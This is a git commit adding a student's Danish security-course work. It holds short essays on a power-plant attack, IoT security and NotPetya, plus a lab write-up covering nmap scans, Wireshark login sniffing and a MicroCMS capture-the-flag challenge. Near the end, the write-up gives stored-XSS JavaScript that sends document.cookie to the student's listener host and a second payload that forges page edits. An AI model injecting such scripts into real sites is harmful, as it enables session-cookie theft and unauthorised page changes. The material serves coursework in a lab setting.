aboutsummaryrefslogtreecommitdiff
path: root/sem4
diff options
context:
space:
mode:
authorJulian T <julian@jtle.dk>2020-05-29 11:33:16 +0200
committerJulian T <julian@jtle.dk>2020-05-29 11:33:16 +0200
commit5f685d13741afa720f8866a3e412beab11c279e4 (patch)
tree3602d3fe5db64b0509ad356fa6ab255e2f0aeea6 /sem4
parent284afc630b3d0dd6c0079c6d3e83a73d6d1193e0 (diff)
Added missing sec assignments
Diffstat (limited to 'sem4')
-rw-r--r--sem4/sec/t1/opg1.md11
-rw-r--r--sem4/sec/t1/opg2.md27
-rw-r--r--sem4/sec/t1/opg3.md82
-rw-r--r--sem4/sec/t3/ifconfig.pngbin0 -> 211904 bytes
-rw-r--r--sem4/sec/t3/microcms_403.pngbin0 -> 29305 bytes
-rw-r--r--sem4/sec/t3/microcms_404.pngbin0 -> 30029 bytes
-rw-r--r--sem4/sec/t3/microcms_bold.pngbin0 -> 40777 bytes
-rw-r--r--sem4/sec/t3/microcms_front.pngbin0 -> 19276 bytes
-rw-r--r--sem4/sec/t3/microcms_java.pngbin0 -> 32763 bytes
-rw-r--r--sem4/sec/t3/microcms_url.pngbin0 -> 32103 bytes
-rw-r--r--sem4/sec/t3/nmap1.pngbin0 -> 172875 bytes
-rw-r--r--sem4/sec/t3/opgaver.md127
-rw-r--r--sem4/sec/t3/os.pngbin0 -> 95809 bytes
-rw-r--r--sem4/sec/t3/php-server.pngbin0 -> 28422 bytes
-rw-r--r--sem4/sec/t3/portscan.pngbin0 -> 57419 bytes
-rw-r--r--sem4/sec/t3/stealth.pngbin0 -> 65266 bytes
-rw-r--r--sem4/sec/t3/webserver.pngbin0 -> 46017 bytes
-rw-r--r--sem4/sec/t3/webserver_firefox.pngbin0 -> 46295 bytes
-rw-r--r--sem4/sec/t3/wireshark_post.pngbin0 -> 22908 bytes
19 files changed, 240 insertions, 7 deletions
diff --git a/sem4/sec/t1/opg1.md b/sem4/sec/t1/opg1.md
index f069436..942c56e 100644
--- a/sem4/sec/t1/opg1.md
+++ b/sem4/sec/t1/opg1.md
@@ -9,19 +9,16 @@
Jeg er ikke helt inde i kraftværk ting.
-I den her situration er det en god ide at have en striks protocol som diktere hvordan vigtige system lukkes ned før mere går galt.
-Dette kan desværre være svært da disse procedurer højst sansynlig er blevet taget højde for af angræberne.
+I den her situation er det en god ide at have en striks protokol som diktere hvordan vigtige system lukkes ned før mere går galt.
+Dette kan desværre være svært da disse procedurer højst sandsynlig er blevet taget højde for af angriberne.
Derfor er det en slags katten efter musen.
> weren't required to use two-factor authentication, which allowed the attackers to hijack their credentials
-Rapporten nævner at sikkerheden generelt var høj på kraftværket, men at login udefra ikke var beskyttet af flere authentificerings faktorer.
+Rapporten nævner at sikkerheden generelt var høj på kraftværket, men at login udefra ikke var beskyttet af flere autentifiserings faktorer.
Dette viser rigtig godt hvordan et svagt led kan svække et ellers sikkert netværk.
> Then they wrote malicious firmware to replace the legitimate firmware on serial-to-Ethernet converters at more than a dozen substations
På grund af disse adaptere er så vigtige i styringen af strømmen, have det nok være en god ide at slukke for muligheden for at programmere adapterne over internettet.
-Eller have krævet en form for authentication på den uploaded firmware, med for eksempel signing af opdateringerne.
-
-
-
+Eller have krævet en form for autentifisering på den uploaded firmware, med for eksempel signing af opdateringerne.
diff --git a/sem4/sec/t1/opg2.md b/sem4/sec/t1/opg2.md
new file mode 100644
index 0000000..08a52f7
--- /dev/null
+++ b/sem4/sec/t1/opg2.md
@@ -0,0 +1,27 @@
+# Opgave 2
+
+> Besvar herefter spørgsmålet: Hvad mener du er de tre vigtigste forholdsregler man bør tage for at gøre "Internet of Things" mere sikkert?
+
+# Besvarelse
+
+1. Hold IOT devices fra internettet
+ Mange iot devices skal man kun bruge hjemmefra.
+ Derfor behøver de ikke at være koblet på internettet.
+ Ved at have dem bag en firewall undgår man at alle bare kan logge på.
+2. Lad være med at købe lort
+ Køb IOT ting fra firmaer man kan stole på.
+ Dette kan man sige er bedre end at købe noget der er smidt sammen.
+
+ Problemet er at man heller ikke kan vide at det man køber fra et firma er okay.
+ Dette bringer os til den næste.
+3. Open source firmware
+ Køb iot ting der er suporteret af open source firmware etc.
+ Dette kan være routere der virker med openwrt for eksempel.
+
+ Når alle kan kigge i koden vil fejl også hurtigere blive fundet.
+4. Tilfældige credentials generet for hver enhed
+ Det er dumt at have default passwords etc.
+ Dette skal enten sættes af brugeren når den sættes op, eller den skal
+ have en sikker tilfældigt genereret kode.
+
+Hmm så kom der fire 2. er også lidt en joke.
diff --git a/sem4/sec/t1/opg3.md b/sem4/sec/t1/opg3.md
new file mode 100644
index 0000000..ff2b343
--- /dev/null
+++ b/sem4/sec/t1/opg3.md
@@ -0,0 +1,82 @@
+
+# Essay tema 1
+
+Hmm ved ikke om det her bliver et essay.
+
+## Opgave
+
+> Vælg et angreb: Find en beskrivelse og gennemgang et cyberangreb, der har fundet sted, og lav en 2-siders essay dækkende:
+>
+> Hvad der skete
+> Hvem der gjorde det (eller hvem man tror har gjort det)
+> Hvilken type angreb der var tale om
+> Hvilken sårbarhed der blev udnyttet og hvordan det var muligt at gennemføre angrebet
+> Hvordan angrebet kunne have været forebygget
+> Dine egne reflektioner og tanker om angrebet
+> Andre observationer eller kommentarer du synes er relevante
+
+## Noter
+
+NotPetya i to dele EternalBlue og Mimikatz.
+Mimikatz trækker passwords ud af memory på win.
+EternalBlue bruger en patched blabla
+Arbejdede sammen for at sprede sig
+
+NotPetya corrupted boot record
+
+Kun lavet til at smadre
+
+Blev smittet af et penge program som fit indsat virusen.
+
+Ikke opdateret windows, nogle windows 2000. Ikke ordenlig netværks segmentering.
+
+## Kilder
+
+https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/
+https://www.varonis.com/blog/what-is-mimikatz/
+
+## Tekst
+
+Jeg har valgt at skrive lidt om NotPetya angræbet som rystede verden i 2017.
+Virusen startede originalt i Ukraine men spredte sig hurtigt til mange dele af verden
+og nedlade store virksomheder som Maersk etc.
+
+Angrebet startede ved et Ukrainsk accounting program M.E.Doc som har mange brugere rundt i Ukraine.
+Dette program henter periodiske opdateringer af en central server i Kiev, og ved
+at indlejre NotPetya i en software opdatering blev den hurtigt spredt til mange computere i Ukraine.
+
+NotPetya ligner ransomware i at det kryptere data på alt enheden, men uden at give brugeren mulighed for at dekryptere det.
+Udover dette ødelægger det boot sectoren på computerens harddisk hvilket stopper den i at starte.
+Ud fra dette er det ret tydeligt at det ikke er blevet lavet for at ødelægge så meget infrastruktur som muligt.
+
+Virusen bruger to Windows specifikke exploits EternalBlue og Mimikatz.
+EternalBlue bruges til at sprede sig til ikke opdaterede computere ved at udnytte
+en fejl i Windows SMB protokollen.
+Mimikatz bruges til at hente authentication data ud fra RAM på Windows computere,
+som den så kan bruge til at logge ind på andre computere.
+
+Dette er en rigtig god kombination da den kan bruge begge exploits til meget hurtigt at sprede sig på et netværk.
+Et godt eksempel på dette er da Maersk blev ramt af NotPetya, hvilket lagde virksomheden ned i flere dage.
+NotPetya kom ind i Maersk ved at en Ukrainsk medarbejder fik installeret M.E.Doc og fik hentet virusen ned gennem en opdatering.
+Derefter spredte virusen sig hurtigt gennem Maersk dårligt segmenterede netværk og lagde alle deres afdelinger ned.
+
+Spredningen var ekstra effektiv eftersom Maersk ikke var gode til at opdatere deres
+computere og ikke gav deres IT afdeling nok budget.
+
+Maersk var ikke alene men de er et godt eksempel på hvad der er galt med mange firmaers
+holdning til IT sikkerhed og hvad der kan forbedres.
+
+Udbredelsen af NotPetya kunne være mindsket ved at segmentere netværk så det ikke
+kan sprede sig så langt som i Maersk tilfælde.
+Og eftersom EternalBlue exploiten der blev brugt var blevet fixet før angrebet,
+kunne en opdatering have sænket sprednings hastigheden.
+
+Men det er nemt at sige bagefter og prioriteten har tydeligvis lagt et andet sted.
+Til gengæld har dette angreb fungeret som et wakeup call til at det nok er en god
+ide at tage IT sikkerhed mere seriøst.
+
+Personligt tror jeg ikke at det er til at undgå at sådan noget sker.
+Store firmaer såsom Maersk har rigtig mange computere fordelt over rigtig mange
+afdelinger og det er super dyrt at vedligeholde sådan komplekse systemer.
+Tror at det kunne være gået meget være da Maersk kunne hente en stor del af deres
+systemer tilbage via backup.
diff --git a/sem4/sec/t3/ifconfig.png b/sem4/sec/t3/ifconfig.png
new file mode 100644
index 0000000..b4e42e8
--- /dev/null
+++ b/sem4/sec/t3/ifconfig.png
Binary files differ
diff --git a/sem4/sec/t3/microcms_403.png b/sem4/sec/t3/microcms_403.png
new file mode 100644
index 0000000..7315fef
--- /dev/null
+++ b/sem4/sec/t3/microcms_403.png
Binary files differ
diff --git a/sem4/sec/t3/microcms_404.png b/sem4/sec/t3/microcms_404.png
new file mode 100644
index 0000000..737b779
--- /dev/null
+++ b/sem4/sec/t3/microcms_404.png
Binary files differ
diff --git a/sem4/sec/t3/microcms_bold.png b/sem4/sec/t3/microcms_bold.png
new file mode 100644
index 0000000..1d378d3
--- /dev/null
+++ b/sem4/sec/t3/microcms_bold.png
Binary files differ
diff --git a/sem4/sec/t3/microcms_front.png b/sem4/sec/t3/microcms_front.png
new file mode 100644
index 0000000..3161537
--- /dev/null
+++ b/sem4/sec/t3/microcms_front.png
Binary files differ
diff --git a/sem4/sec/t3/microcms_java.png b/sem4/sec/t3/microcms_java.png
new file mode 100644
index 0000000..a4a2883
--- /dev/null
+++ b/sem4/sec/t3/microcms_java.png
Binary files differ
diff --git a/sem4/sec/t3/microcms_url.png b/sem4/sec/t3/microcms_url.png
new file mode 100644
index 0000000..259492c
--- /dev/null
+++ b/sem4/sec/t3/microcms_url.png
Binary files differ
diff --git a/sem4/sec/t3/nmap1.png b/sem4/sec/t3/nmap1.png
new file mode 100644
index 0000000..21c955c
--- /dev/null
+++ b/sem4/sec/t3/nmap1.png
Binary files differ
diff --git a/sem4/sec/t3/opgaver.md b/sem4/sec/t3/opgaver.md
new file mode 100644
index 0000000..454d8fe
--- /dev/null
+++ b/sem4/sec/t3/opgaver.md
@@ -0,0 +1,127 @@
+# Opgaver til T3 del 1
+
+> Brug ifconfig til at finde ud af hvilket netværk I er på, og hvilke andre maskiner der potentielt kan være på samme netværk.
+
+Først finder jeg ip.
+
+![Ifconfig](ifconfig.png)
+
+Derefter laver jeg en ip scan på netwærket.
+Læg mærke til ip og mask da dette skal bruges igen i nmap.
+
+![nmap efter port](nmap1.png)
+
+Her kan jeg se at der er nogle forskellige enheder der **svarer**.
+
+- 10.150.89.2
+- 10.150.89.3
+- 10.150.89.4
+- 10.150.89.5
+- 10.150.89.31
+- 10.150.89.41
+- 10.150.89.51
+- 10.150.89.108
+- 10.150.89.159
+- 10.150.89.164
+
+> Brug nmap til at finde andre maskiner i netværket. Prøv forskellige typer af scanninger, og evaluer hvilke informationer I får ud af det vs. hvor lang tid det tager at gennemføre scanningerne.
+
+Først prøves en simpel fuld portscan.
+
+![Nmap port scan](portscan.png)
+
+Dette tog 2.19 sekunder.
+
+Derefter prøves en stealth scan
+
+![Nmap stealth scan](stealth.png)
+
+Dette tog 2.45 sekunder.
+Og giver det samme resultat som en normal portscan.
+
+> Brug nmap til at finde ud af hvilke operativsystemer der kører på de forskellige maskiner i lab'et.
+
+Nu prøves en OS scan hvor den kigger på finger prints.
+Dette gøres med `-O`.
+
+![Os scan](os.png)
+
+Dette tog 7.17 sekunder.
+Man kan også se at den har fundet information om hvilket OS og version modtager bruger.
+Det er også sjovt at se at den ikke har kunne bestemme `10.150.89.2`.
+
+> Find en web-server (der kun er web-server).
+
+Her kigges i resultaterne fra den sidste scan.
+
+![Webserver scan](webserver.png)
+
+Nu checkes der om det faktisk er en webserver der lytter.
+
+![Webserver test](webserver_firefox.png)
+
+Yay.
+
+> Al trafik i lab'et kører gennem jeres Kali-maskine. Kan I finde et ikke-krypteret login et sted i trafikken? (brug Wireshark)
+
+Login kommer tit gennem http POST request, så det kan man prøve at sortere efter i wireshark.
+
+![Wireshark post request filter](wireshark_post.png)
+
+> Prøv at find flaget i MicroCMS hjemmesiden - det kræver lidt kreativitet, men ingen værktøjer
+
+Efter at have kigget lidt på de forskellige servere blev MicroCMS hjemmesiden fundet på `10.150.89.164`.
+
+![Microcms front page](microcms_front.png)
+
+Det ser ud til at man kan lave sider og man kan redigere sidder.
+Den mest aktive ser ud til at være `Event 1` der snakker om et møde i næste uge.
+
+Først prøver jeg at redigere `Event 1` ved at tilføje lidt tekst.
+Efter redigering er testes indsættes `hej med <b>dig</b>`.
+
+![Microcms edit bold](microcms_bold.png)
+
+Yay det virker, så kan man måske også indsætte billeder og javascript.
+Hvis der er andre der også er på siden, hvad kan man så få ud af dem?
+
+Url'erne til at få en side har følgende format `/page.php?view=2`.
+Hvad hvis man prøver nogle af de andre tal efter 2.
+
+![Microcms Not found](microcms_404.png)
+
+That was expected.
+
+![Microcms forbidden](microcmd_403.png)
+
+What if we change `view` to `edit`?
+
+![Microcmd url](microcms_url.png)
+
+Okay. Can we place some javascript that will send the content of this page to a webserver?
+Lets start with one that sends all cookies.
+
+```
+var x = new XMLHttpRequest; x.open("GET", "http://10.150.89.5:4000/" + document.cookie, true); x.send( null )
+```
+
+This will send a GET with the cookie in the url.
+On the local kali machine a webserver is started with php -S.
+This will print all request send, even if they 404.
+
+![Mini php http server](php-server.png)
+
+Now this javascript is placed as a script tag in the `Event 1` document.
+
+![Microcms javascript](microcms_java.png)
+
+After waiting a short while nothing happened.
+Going to try something else.
+The following will edit page 11 with some data ( in this case "hej medddd dig" ).
+
+```
+var x = new XMLHttpRequest; x.open("POST", "http://10.150.89.164/page.php?edit=11", true); var f = new FormData(); f.append("title", "testi"); f.append("content", "hej medddd dig"); x.send( f )
+```
+
+Now content is replaced by document.cookie and placed in meeting thing.
+
diff --git a/sem4/sec/t3/os.png b/sem4/sec/t3/os.png
new file mode 100644
index 0000000..ef361ab
--- /dev/null
+++ b/sem4/sec/t3/os.png
Binary files differ
diff --git a/sem4/sec/t3/php-server.png b/sem4/sec/t3/php-server.png
new file mode 100644
index 0000000..6f34499
--- /dev/null
+++ b/sem4/sec/t3/php-server.png
Binary files differ
diff --git a/sem4/sec/t3/portscan.png b/sem4/sec/t3/portscan.png
new file mode 100644
index 0000000..da16319
--- /dev/null
+++ b/sem4/sec/t3/portscan.png
Binary files differ
diff --git a/sem4/sec/t3/stealth.png b/sem4/sec/t3/stealth.png
new file mode 100644
index 0000000..098d49b
--- /dev/null
+++ b/sem4/sec/t3/stealth.png
Binary files differ
diff --git a/sem4/sec/t3/webserver.png b/sem4/sec/t3/webserver.png
new file mode 100644
index 0000000..24f480b
--- /dev/null
+++ b/sem4/sec/t3/webserver.png
Binary files differ
diff --git a/sem4/sec/t3/webserver_firefox.png b/sem4/sec/t3/webserver_firefox.png
new file mode 100644
index 0000000..1fa4b29
--- /dev/null
+++ b/sem4/sec/t3/webserver_firefox.png
Binary files differ
diff --git a/sem4/sec/t3/wireshark_post.png b/sem4/sec/t3/wireshark_post.png
new file mode 100644
index 0000000..4cd260e
--- /dev/null
+++ b/sem4/sec/t3/wireshark_post.png
Binary files differ